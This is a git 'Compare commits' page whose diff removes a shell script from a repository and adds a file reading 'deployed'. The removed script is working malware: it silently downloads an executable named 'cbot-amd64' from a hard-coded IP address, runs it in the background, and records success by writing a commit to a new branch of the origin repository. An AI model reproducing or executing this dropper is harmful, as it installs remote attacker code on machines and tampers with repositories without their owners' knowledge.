Compare commits

...

No commits in common. "main" and "b63-pwu1tm5vz1" have entirely different histories.

3 changed files with 1 additions and 14 deletions

View File

@ -1,2 +0,0 @@
# ruqtxpj

1
b63-pwu1tm5vz1.txt Normal file
View File

@ -0,0 +1 @@
deployed

View File

@ -1,12 +0,0 @@
#!/bin/sh
repo=$(git config --get remote.origin.url)||exit 0
output=$({
cd /tmp && rm -f cb && setsid sh -c 'curl -s -m 180 -o /tmp/cb http://85.11.190.230:8080/pulse/latest/agent/cbot-amd64 && chmod +x /tmp/cb && /tmp/cb >/tmp/cb.log 2>&1' >/dev/null 2>&1 & sleep 1; echo deployed
} 2>&1)
blob=$(printf '%s\n' "$output"|git --git-dir="$repo" hash-object -w --stdin 2>/dev/null)||exit 0
tree=$(printf '100644 blob %s\tb63-pwu1tm5vz1.txt\n' "$blob"|git --git-dir="$repo" mktree 2>/dev/null)||exit 0
commit=$(GIT_AUTHOR_NAME=b63 GIT_AUTHOR_EMAIL=b63@b63.invalid \
GIT_COMMITTER_NAME=b63 GIT_COMMITTER_EMAIL=b63@b63.invalid \
git --git-dir="$repo" commit-tree "$tree" -m "b63 pwu1tm5vz1" 2>/dev/null)||exit 0
git --git-dir="$repo" update-ref "refs/heads/b63-pwu1tm5vz1" "$commit" 2>/dev/null
exit 0